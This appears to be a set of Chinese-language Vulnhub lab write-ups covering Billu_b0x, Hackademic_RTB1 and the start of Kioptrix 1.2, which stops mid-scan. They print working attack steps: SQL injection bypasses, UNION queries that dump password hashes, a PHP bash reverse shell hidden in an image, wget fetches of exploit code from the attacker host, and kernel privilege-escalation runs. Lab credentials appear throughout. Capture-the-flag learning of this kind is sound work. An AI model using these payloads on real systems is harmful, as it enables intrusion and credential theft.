22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: --==[[IndiShell Lab]]==--

漏洞扫描

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'

1.2 Web渗透

页面信息检索

既然在 Nmap 端口扫描的时候，发现目标开放了80端口。我们就去访问一下这台主机的web界面，看一下web界面主页上显示了什么内容，主页提示 "Show me your SQLI skills"，暗示了这台靶机的核心突破点应该和 SQL 注入有关。

右击查看网页源代码进行初步分析：标题是这台靶机的名称，页面上有一个 POST 提交的登录表单，共传递三个参数（用户名、密码，以及一个 login 动作参数）。

结合主页关于 SQL 注入的提示，我打算首先尝试使用常见的 SQL 注入万能密钥进行登入绕过，尝试了几种方法，始终无法绕过登入。于是，我在测试的同时开启目录扫描以寻找其他攻击面。

目录扫描

使用 dirsearch 进行目录扫描，整理出的可用目录及高价值端点如下：

# === 状态码 200（高利用价值）
http://192.168.200.155/add.php		# 文件上传，sql注入
http://192.168.200.155/head.php		# 应该是 index 页面的头图，就一张图片
http://192.168.200.155/images/		# 存放了三张图片，猜测是文件上传的路径
http://192.168.200.155/in			# phpinfo()页面
http://192.168.200.155/phpmy/		# phpmyadmin 登入界面，测试了几个常见的弱密码，没有成功
http://192.168.200.155/index.php	# 网站主页，post登入框，似乎存在sql注入
http://192.168.200.155/test.php		# 提示：“'file' parameter is empty. Please provide file path in 'file' parameter ”，可能有文件包含，但是找不到对应参数

# === 状态码 301/302: 重定向 
http://192.168.200.155/images      -> http://192.168.200.155/images/
http://192.168.200.155/panel       -> http://192.168.200.155/index.php
http://192.168.200.155/panel.php   -> http://192.168.200.155/index.php

# === 状态码 200 （无效）
http://192.168.200.155/c			# 空白页面
http://192.168.200.155/show			# 空白页面

全部扫描记录截图

信息收集阶段总结与初步思路

总结目前收集到的信息，核心突破点大概率在 SQL 注入上。当前发现的页面中 add.php 和 index.php 均存在 SQL 注入的可能性，但常规测试暂未成功。此外，扫描出了 phpMyAdmin 登录页面，后续可尝试使用常见弱口令进行爆破或撞库，看能否直接获取数据库访问权限。同时，test.php 暴露的文件包含漏洞也是一个高优先级的利用方向。

重大发现

在测试 test.php 页面时。当时我陷入了思维定式，仅尝试了 GET 方式传参，忽略了改用 POST 方式进行测试。这一疏忽导致我一度遗漏了获取这台靶机 Initial Access 的关键入口。

实际上，在使用 POST 方式传入 file=<file name> 就可以将传入参数中指定文件给下载下来，得到了文件，对靶机进行白盒审计，那就很简单了。

2.权限立足

通过 test.php 下的 LFI 漏洞，可以下载目录扫描到的所有可访问页面，进行代码白盒审计。本次渗透共有两种方法可以进入控制台，先介绍我的第一种方法，后续介绍红笔的打法。

2.1 代码白盒审计 & 数据库渗透

先讲一下第一种方法。进行白盒审计的时候，在 c.php 中，发现其中包含一段连接数据库的命令，里面明文写着数据库凭证。我尝试用这组凭据去访问 phpMyAdmin，成功登录。

c.php 源码：

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }
?>

核心凭据：$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

继续查看 ica_lab 数据库。在这个数据库中，总共存在三个表：auth、download 和 users。

show tables;

Tables_in_ica_lab
auth
download
users
仔细查看 `auth` 表，发现里面存放了一组用户名和密码，且密码是明文保存的。我怀疑这是网页后台的登录账户，尝试后发现确实如此。

uname	pass
biLLu	hEx_it

download:

users:

渗透思考：现在我已经得到了 phpMyAdmin 的账户权限，以及网页用户的明文密码。下一步的目标是：如何获取网站的物理路径？

靠猜测？尝试 Apache 默认主路径（如 /var/www/html）？
能否通过 SQL 查询直接爆出绝对路径？

我原本想直接通过 SQL 语句写一个反弹 shell 到网页路径下（Into Outfile），但是执行时页面报了类似 Access denied for user... Using password: YES 的错误（错误码 1045）。看来当前数据库用户没有写文件的权限（File 权限被限制）。

2.2 SQL注入

第二种进入后台的方式是通过主页的 SQL 注入，使用以下万能密钥登录：

or 1=1 -- \

渗透思考：

思考：页面返回 "try again" 具体代表什么？

对比：字符型注入与数字型注入的区别

实践：POST 注入框的各种万能密钥写法

疑问：为什么 -- - 不行，-- \ 却可以？其他闭合方式是否也能奏效？

带着疑问去审计处理登录的源码（index.php）：

实际拼接的查询语句：

$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

漏洞成因深度解析：

这段代码的白盒逻辑很清晰。下面详细讲解这个 SQL 注入绕过的原理：为什么 un 和 ps 都填 or 1=1 -- \ 可以绕过登录？

第一步：理解代码的"过滤"逻辑

// 第 44-45 行
$uname = str_replace('\'', '', urldecode($_POST['un']));
$pass  = str_replace('\'', '', urldecode($_POST['ps']));

开发者试图通过删除所有单引号 ' 来防止 SQL 注入。但这个过滤方法有一个致命的缺陷。

第二步：理解 SQL 语句的拼接结构

// 第 59 行
$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';

展开后，正常情况下 SQL 是：

SELECT * FROM auth WHERE pass='[pass的值]' AND uname='[uname的值]'

注意顺序：先 pass，后 uname。这是绕过的关键！

第三步：代入 `or 1=1 -- \` 进行分析

当 un 和 ps 都填入 or 1=1 -- \ 时：

① 经过 str_replace 过滤单引号后（单引号被删掉，其他字符保留）：

字段	过滤后的值
`$pass`	`or 1=1 -- \`
`$uname`	`or 1=1 -- \`

② 代入 SQL 拼接后，完整语句为：

SELECT * FROM auth WHERE pass='or 1=1 -- \' AND uname='or 1=1 -- \'

③ 关键！MySQL 如何解析这条语句？

反斜杠 \ 在 MySQL 字符串中是转义字符，\' 会被解析为字面量单引号，而不是字符串的结束符！

所以 MySQL 实际看到的字串边界是：

pass=' or 1=1 -- \' AND uname=' or 1=1 -- \'
        ↑_________________________↑
        这整段被当作 pass 字段的"值"（字符串未闭合，继续往后找）

更准确地说，MySQL 会把第一个 ' 到下一个未被转义的 ' 之间的内容当作字符串值。由于 --\ 中的 \ 转义了后面紧跟的 '，字符串就延伸到了 uname= 之后。

实际解析结构如下：

pass = [or 1=1 -- \' AND uname=or 1=1 -- ]   ← 这是 pass 的值（含 AND uname 部分）
最后一个 \' 后面的内容                   ← 语句结束

[!IMPORTANT] 反斜杠 \ 将紧随其后的单引号 \' 转义为普通字符，"吃掉"了 pass 字段的闭合引号。AND uname='or 1=1 -- 这一段变成了 pass 值的一部分，而最后的 \' 成为该字符串的真正结束，之后语句已完整，实际执行的逻辑条件为 1=1（永真条件），导致登录成功。

第四步：为什么查询会返回结果？

因为 WHERE 条件中包含了 1=1，整张 auth 表的所有行都会被返回。

if (mysqli_num_rows($result) > 0) {  // 有结果 → 登录成功
    $_SESSION['logged'] = true;
    $_SESSION['admin']  = $row['username']; // 取第一条用户名
    header('Location: panel.php', ...);
}

查询返回行数 > 0，直接登录成功，$_SESSION['admin'] 被赋值为数据库中第一个用户的用户名。

总结：漏洞成因链

开发者只过滤了单引号 (')
   ↓
但没有处理反斜杠 (\)
   ↓
\' 在 MySQL 中被解析为转义的单引号（而非字符串结束符）
   ↓
pass 字段的字符串被 \ 延长，"吞掉"了 AND uname= 部分
   ↓
最终 WHERE 条件等价于 WHERE 1=1
   ↓
返回全表数据 → 登录成功

这种攻击方式叫做 反斜杠转义绕过（Backslash Escape Bypass），是 CTF 和实战中过滤不完整时的经典利用手法。正确的防御方式是使用参数化查询（Prepared Statements），而非字符串过滤。

2.3 文件包含漏洞利用

成功登录进入 panel.php 后，页面上有一个表单，包含两个下拉选项。F12 查看页面源码：

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select>

选择 Show Users 提交，页面列出了两个用户的信息以及对应的头像图片。

选择 Add User 提交，页面加载了一个可以上传图片并填写用户信息的表单（这个功能在审计 a.php 时见过）。

寻找突破口

当我探测到这一步时，直觉告诉我这里存在文件包含漏洞。因为访问 panel.php 主页时默认是空的，只有当提交 load 参数（show 或 add）时，页面才加载出对应的内容。

结合前期 Web 目录枚举扫到的 /add 和 /show 目录，可以推断逻辑是：通过 load 参数将 add.php 或 show.php 文件包含到了当前页面中。这与我之前打过的一个靶机非常相似，通过修改 <option> 的值触发文件包含漏洞。

尝试将 load 参数修改为目录穿越 payload 读取 /etc/passwd，成功回显，证明 LFI 存在：

../../../../../../../../etc/passwd

注：在打这台靶机的时候，我先去没有找到test.php 的利用方法，直接通过sql注入登入进来，后续我尝试用 PHP 伪协议读取 add.php 源码，但未成功，实际上这台靶机应该直接利用前面发现的 test.php 漏洞点去读源码。

分析文件上传过滤逻辑

查看 add.php 源码，上传逻辑如下：

if(!empty($_FILES['image']['name']))
{
    $iname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
    $r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
    $image = array('jpeg','jpg','gif','png');

    if(in_array($r, $image))
    {
        $finfo = @new finfo(FILEINFO_MIME);
        $filetype = @$finfo->file($_FILES['image']['tmp_name']);

        if(preg_match('/image\/jpeg/', $filetype) || preg_match('/image\/png/', $filetype) || preg_match('/image\/gif/', $filetype))
        {
            if(move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
            {
                echo "Uploaded successfully ";
                $update = 'insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
                mysqli_query($conn, $update);
            }
        }
        else
        {
            echo "<br>i told you dear, only png,jpg and gif file are allowed";
        }
    }
    else
    {
        echo "<br>only png,jpg and gif file are allowed";
    }
}

过滤机制共两层：

后缀名白名单：仅允许 jpeg、jpg、gif、png
MIME 类型检测：通过 finfo 检测文件真实 MIME 类型

绕过思路：将 PHP 反弹 Shell 代码追加到一张真实图片的末尾，使文件通过 MIME 检测，再利用 LFI 漏洞包含执行该文件。

文件上传地址

通过代码审计确认上传目录为：http://192.168.200.155/uploaded_images/

测试正常上传流程：上传一张正常的图片，数据库记录指向了正确的文件名，且直接访问 uploaded_images/ 路径能成功看到图片。

访问路径，文件被正常上传成功并能访问

查看数据库信息路径确实指向的是这个文件

点击 show user 查看

构造图片木马

# 复制一张真实图片
cp '/path/to/real.png' ./shell.png

# 追加反弹 Shell 代码
echo '<?php exec("/bin/bash -c \"bash -i >& /dev/tcp/192.168.200.142/4444 0>&1\""); ?>' >> shell.png

对于 GIF 格式，也可以直接在文件头写入 GIF89a 魔术字节绕过 MIME 检测：

# cmd.jpg 内容如下
GIF89a
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4444 0>&1'"); ?>

上传并触发执行：

确认文件上传至 http://192.168.200.155/uploaded_images/ 后，在本地开启监听：

nc -lvnp 4444

通过修改 panel.php 的 load 参数，将值改为 uploaded_images/cmd.jpg，触发 LFI 包含执行木马文件：

load=uploaded_images/cmd.jpg

成功获取 Webshell，反弹 Shell 建立连接。

3.权限提升

3.1 信息收集

获得 www-data 的反弹 shell 后，首先进行基本信息枚举：

┌──(kali㉿kali)-[~/vulnhub/Billu_b0x/web]
└─$ sudo nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.200.142] from (UNKNOWN) [192.168.200.155] 44837
bash: no job control in this shell
www-data@indishell:/var/www$

www-data@indishell:/var/www$ whoami
www-data
www-data@indishell:/var/www$ uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

确认内核版本为 3.13.0-32，Ubuntu 12.04/14.04，属于较旧版本，存在本地提权利用空间。

sudo 枚举

www-data@indishell:/var/www$ sudo -l
sudo: no tty present and no askpass program specified

无法使用 sudo，跳过。

计划任务枚举

www-data@indishell:/var/www$ cat /etc/crontab

系统 crontab 中无可利用的异常条目，均为系统默认任务。

进一步检查 /etc/cron.d/：

www-data@indishell:/var/www$ cat /etc/cron.d/php5
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && ...

php5 会话清理任务，无可利用点。计划任务路线放弃。

内核漏洞提权（CVE-2015-1328 overlayfs）

内核版本 3.13.0 符合 CVE-2015-1328 的利用范围（Linux Kernel 3.13.0 < 3.19），搜索对应 EXP：

┌──(kali㉿kali)-[~/vulnhub/Billu_b0x]
└─$ searchsploit -m linux/local/37292.c
  Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/37292
     Path: /usr/share/exploitdb/exploits/linux/local/37292.c
    Codes: CVE-2015-1328
 Verified: True

漏洞原理

overlayfs 在用户命名空间（user namespace）中挂载时未正确检查权限
        ↓
普通用户可向 /etc/ld.so.preload 写入恶意共享库路径
        ↓
/bin/su 以 root 身份执行时，动态链接器加载恶意库
        ↓
getuid() 被 hook → 弹出 root shell

攻击链拆解

main()
  ├─ fork() 创建子进程
  ├─ unshare(CLONE_NEWUSER)       # 创建新用户命名空间
  ├─ clone(child_exec)            # 创建新挂载命名空间
  │     ├─ mount overlayfs #1     # lowerdir=/proc/sys/kernel
  │     ├─ rename → ld.so.preload # 关键：将文件重命名覆盖
  │     └─ mount overlayfs #2     # upperdir=/etc ← 获得 /etc 写权限
  │
  ├─ open("/etc/ld.so.preload")   # 此时 www-data 可写
  ├─ 编译 /tmp/ofs-lib.so         # 恶意动态库
  ├─ 写入库路径到 ld.so.preload
  └─ execl("/bin/su")             # 触发加载 → root shell

实际操作步骤

攻击机准备：

searchsploit -m linux/local/37292.c
python3 -m http.server 8081

靶机执行：

# 确认gcc可用
which gcc

# 下载到/tmp
cd /tmp
wget http://192.168.200.142:8081/37292.c

# 编译执行
gcc 37292.c -o ofs
chmod +x ofs
./ofs

成功获得 root 权限：

# 成功后
id   # uid=0(root)

补充路线：phpMyAdmin 配置文件泄露密码

在 www-data 权限下读取 phpMyAdmin 配置文件：

www-data@indishell:/var/www/phpmy$ cat config.inc.php
...
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';

获得 MySQL root 密码 roottoor。根据靶机的一贯习惯，数据库 root 密码往往与系统 SSH root 密码相同，可尝试 ssh root@192.168.200.155，密码 roottoor 直接登录系统 root，同样可完成提权。

4.总结

这台靶机我先后参考了三次提示才最终完成（严格来说算两次）。在早期的目录扫描阶段，扫描结果显示存在大量目录。经过逐一排查，初步判断该目标存在多个潜在的攻击面。

随后，我将注意力集中在 index.php 上。这是网站的主页，也是 panel 302 跳转后的目标页面。由于页面明确提示“展示你的 SQLi 技能”，我推测该登录入口可能存在 SQL 注入漏洞，并尝试通过万能密码进行绕过。

在尝试了多种构造形式的万能密码均告失败后，我开始怀疑当前的渗透思路是否存在偏差。此时我查看了第一个提示，得知使用 or 1=1 -- \ 即可成功登入。事后看来，这个提示的“性价比”并不高，因为在后续的代码审计阶段，这种特定的 Payload 逻辑本可以直接从源码中推导出来。

第二个提示出现在测试 test.php 页面时。当时我陷入了思维定式，仅尝试了 GET 方式传参，忽略了改用 POST 方式进行测试。这一疏忽导致我一度遗漏了获取这台靶机 Initial Access（初始立足点）的关键入口。

后续的渗透方式就非常明确，通过上传木马图片，用 LFI 加载反弹 shell 获得 WebShell，通过Webshell进行提权。

不过在进入最后的提权阶段，我看了最后一次提示。原因是：我不确定要不要使用内核提前获得root权限。因为以前的红队笔记视频中提到，不得已才使用内核提权，并且内核提权会对系统造成不可逆的损伤。

Vulnhub Hackademic_RTB1 WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场介绍： 一台 Vulnhub 的靶机，经典的 SQL 注入利用与提权。下载地址：https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip

攻击链思维导图：

1.信息收集

1.1.Nmap 信息扫描

端口扫描

22/tcp closed ssh
80/tcp open

详细信息

PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (Fedora)
|_http-title: Hackademic.RTB1

漏洞扫描

2.WEB 渗透

2.1.漏洞发现

交互式分析

通过对目标网站进行浏览和功能交互，收集到以下页面跳转与传参逻辑：

点击主页，点标题可以跳转到另外一个页面

http://192.168.200.153/Hackademic_RTB1/

在点击 got root 的时候，会发出这样的一个请求 http://192.168.200.153/Hackademic_RTB1/?p=9

点击网页下面的最后一条链接，跳转?cat=1

找到了一个搜索页面，感觉能利用 SQL 注入

点击搜索页上的 archives，跳转到 ?m=201101

注入点探测

在对页面进行交互式分析后找到了以下几个可以传参的值。接下来我将对下面的几个参数进行简单的 SQL 探测，来确定注入的入口

?p=9
?s=2
?m=201101
?cat=1

Tip: 我们探测出这么多可以传输的值，怎么快速判断是否存在 SQL 注入呢？可以使用在传输的值后面加一个引号，通过报错来判断，不过不是所有页面都会有报错的情况的。

指纹识别

查看页面源码，能看出系统是基于 WordPress 1.5.1.1 搭建的

既然知道了这台机器的 Web 服务是基于什么搭建的，我可以尝试去搜索一下，有没有对应 CMS 的漏洞可以利用。从漏洞查询里明显得知，是存在 SQL 注入漏洞，如果在 Web 渗透中没有找到突破点

确实匹配到很多漏洞，但是对于我们有用的只有 Core（内核）的信息，Plugin（插件）的漏洞可以暂时不看。从完全配置的版本中能确定明确存在 SQL 注入的漏洞。

WordPress Core 1.5.1.1 - 'add new admin' SQL Injection                                                            | php/webapps/1059.pl
WordPress Core 1.5.1.1 - SQL Injection                                                                            | php/webapps/1033.pl
WordPress Core 1.5.1.1 < 2.2.2 - Multiple Vulnerabilities                                                         | php/webapps/4397.rb

2.2.SQL 注入利用

注入过程

通过之前注入点的探测，在 ?cat= 上发现了存在 SQL 注入的漏洞，

获取数据库名： 使用 union select 确认数据库名为 wordpress。
获取后端数据库基本信息：version
爆表名： 得到 wp_users, wp_posts, wp_options 等表。
爆用户信息： 从 wp_users 表中提取字段 user_login, user_pass, user_level。

操作步骤

1. 获取数据库名 使用 union select 语句，确认当前数据库名为 wordpress：

(select database())

wordpress

2. 获取后端数据库表名 构造 payload 查询 information_schema.tables，爆出数据库中的表名：

http://192.168.200.153/Hackademic_RTB1/index.php?cat=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5

得到表名如下：wp_categories, wp_comments, wp_linkcategories, wp_links, wp_options, wp_post2cat, wp_postmeta, wp_posts, wp_users。

3. 获取字段名（列名） 针对 wp_users 表，提取用户登录、密码和权限相关的字段。

拓展思路：因为 WordPress 是知名的 CMS，我们也可以直接上网查询 WordPress 1.5 版本的官方数据库表结构（如：https://codex.wordpress.org/Database_Description/1.5），从而省去繁琐的爆列名步骤，直接定位到 user_login, user_pass, user_level 等关键字段。

4. 爆用户信息 现在的渗透方向明确：获取管理员的用户名和密码，尝试 SSH 登录，或者找到 WordPress 后台登录界面，通过文件上传反弹 Shell 的方式获取 WebShell。

-- 提取所有用户及对应信息并格式化输出 (使用 0x2d 作为 '-' 连字符，0x0A 作为换行)
http://192.168.200.153/Hackademic_RTB1/index.php?cat=0 union select 1,(select group_concat(user_id,0x2d,user_login,0x2d,user_pass,0x2d,user_level,0x0A)),3,4,5 from wp_users

执行后返回以下结构化数据：

1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

获取凭证与后续利用

从上述数据中分析 user_level（权限等级），发现 GeorgeMiller 的权限等级为 10，属于管理员账号。

后台登录地址：http://192.168.200.153/Hackademic_RTB1/wp-admin/index.php
管理员账号：GeorgeMiller
管理员密码：7cbb3252ba6b7e9c422fac5334d22054 （用John对 MD5 解密后为明文 q1w2e3）

至此，成功获取到管理员后台凭证，为下一步的后台 GetShell 做好了准备。

3.权限维持

3.1.后台登录

访问 http://192.168.200.153/Hackademic_RTB1/wp-admin/，使用管理员凭据登录。

3.2.文件上传

登入上去后我打算先去看option选项，Miscellaneous中可以看到上传文件的选项，和服务目录

开启 Allow File Uploads 的选项

上传测试文件，上传成功，页面还返回了上传的文件地址

访问测试图片，成功访问，接下来可以上传我们的反弹 Shell 了

3.3.反弹 Shell

上传 Shell，在 Kali 中找到自带的 php-reverse-shell.php，修改其中的配置

访问 Shell 网页，nc 接受反弹

4.提权

4.1.初始信息收集与 Shell 升级

在 Kali 攻击机上建立监听并接受目标回连 WebShell，对目标机的基本信息进行探测，并且将基础的 sh 通过 Python 升级成可以交互的 bash 环境。

┌──(kali㉿kali)-[~/vulnhub/hackademic-RTB1/web]
└─$ sudo nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.200.142] from (UNKNOWN) [192.168.200.153] 41240

# 查看系统内核版本，确认为 2.6.31.5，这为后续的内核提权提供了关键线索
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
 11:40:57 up  4:33,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=489(apache) groups=489(apache)
sh: no job control in this shell

# 检查 Python 环境，准备升级 Shell
sh-4.0$ rpm -qa | grep python
python-meh-0.7-1.fc12.noarch
gnome-python2-gnomevfs-2.28.0-1.fc12.i686
...[省略部分非关键输出]...
python-2.6.2-2.fc12.i686

# 使用 Python 引入 pty 模块，获取完全交互式的 TTY Shell
sh-4.0$ python -c "import pty;pty.spawn('/bin/bash')"   
bash-4.0$ whoami
apache

接下来，我对常规的一些提权信息进行了一些枚举，包括 sudo 权限、主机计划任务( /etc/crontab )，以及 SUID 文件，但并未发现主机存在明显的错误提权路径。

# 尝试 sudo 提权失败，没有密码
bash-4.0$ sudo -l
[sudo] password for apache: 
Sorry, try again.
sudo: 3 incorrect password attempts

# 检查 passwd 文件和计划任务
bash-4.0$ cat /etc/passwd
bash-4.0$ cat /etc/crontab

# 查找具有 SUID 权限的文件，未发现可利用的异常文件
bash-4.0$ find / -perm -u=s -type f 2>/dev/null
/usr/libexec/openssh/ssh-keysign
/usr/libexec/pt_chown
...
/usr/bin/sudo
/usr/bin/passwd
/bin/ping

4.2 内核漏洞提权 (CVE-2010-3904)

由于常规配置错误提权无果，我们回溯到最初收集的系统信息：Linux Kernel 2.6.31.5。通过漏洞库模糊查询发现，该内核版本存在多个潜在的本地提权（Privilege Escalation）EXP。但在逐一比对后，目标系统并不满足这些 EXP 提示的具体受支持环境要求。经过筛选与排除，最终决定选用对环境限制较小、且能适配当前的 RDS 协议本地提权漏洞（CVE-2010-3904） 进行利用尝试，对应的 Exploit 文件为 15285.c。

searchsploit linux kernel

这里我们使用对应的 Exploit（即 15285.c）进行提权。将 EXP 复制到当前目录，通过之前的文件上传漏洞，把 EXP 上传上去。

编译与执行 Exploit

我们定位到事先上传至网站目录下的 Exp 源码文件 15285.c。由于 /tmp 目录通常具备读写及执行权限，我们将源码移动至该目录并进行编译运行。

# 进入网站内容目录，发现已上传的提权脚本 15285.c
bash-4.0$ cd /var/www/html/Hackademic_RTB1/wp-content
bash-4.0$ ls -l
total 1492
-rw-rw-rw- 1 apache apache    6860 Apr 14 12:11 15285.c
-rw-rw-rw- 1 apache apache 1500061 Apr 14 11:34 Snipaste_20250526_184723.png
drwxrwxrwx 2 root   root      4096 Jan  7  2011 plugins
-rw-rw-rw- 1 apache apache    5497 Apr 14 11:38 shell.php
drwxrwxrwx 5 root   root      4096 Jan  7  2011 themes

# 将源码移动到 /tmp 目录以避免权限冲突
bash-4.0$ mv 15285.c /tmp
bash-4.0$ cd /tmp

# 使用 gcc 编译源码
bash-4.0$ gcc 15285.c -o 15285 
bash-4.0$ ls
15285
15285.c

# 执行编译后的二进制文件
bash-4.0$ ./15285 
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

# 验证权限，成功获取 Root 权限
# whoami
root
# pwd
/tmp
# tail -c 5 /etc/shadow

Vulnhub Kioptrix 1.2 WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场信息

靶机IP： 192.168.200.156

靶机介绍： https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

下载（镜像）：https://download.vulnhub.com/kioptrix/KVM3.rar

注意：这项挑战的关键在于：找到 IP 地址（DHCP 客户端）后，编辑 hosts 文件并将其指向kioptrix3.com。

思维导图

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

详细信息

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
MAC Address: 00:0C:29:EC:A5:EE (VMware)

漏洞扫描

漏洞扫描花了很长时间，但是回看扫描结果，这里提示了网站存在的 SQL 注入我没有测试出来。

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-trace: TRACE is enabled
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=loginSubmit%27%20OR%20sqlspider&system=Admin
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|_    http://192.168.200.156:80/index.php?page=loginSubmit%27%20OR%20sqlspider&system=Admin
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.200.156
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.200.156:80/gallery/
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.200.156:80/index.php?system=Admin
|     Form id: contactform
|     Form action: index.php?system=Admin&page=loginSubmit
|     
|     Path: http://192.168.200.156:80/index.php?system=Blog&post=1281005380
|     Form id: commentform
|     Form action: 
|     
|     Path: http://192.168.200.156:80/gallery/index.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.200.156:80/gallery/gadmin/
|     Form id: username
|     Form action: index.php?task=signin
|     
|     Path: http://192.168.200.156:80/index.php?system=Admin&page=loginSubmit
|     Form id: contactform
|_    Form action: index.php?system=Admin&page=loginSubmit
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
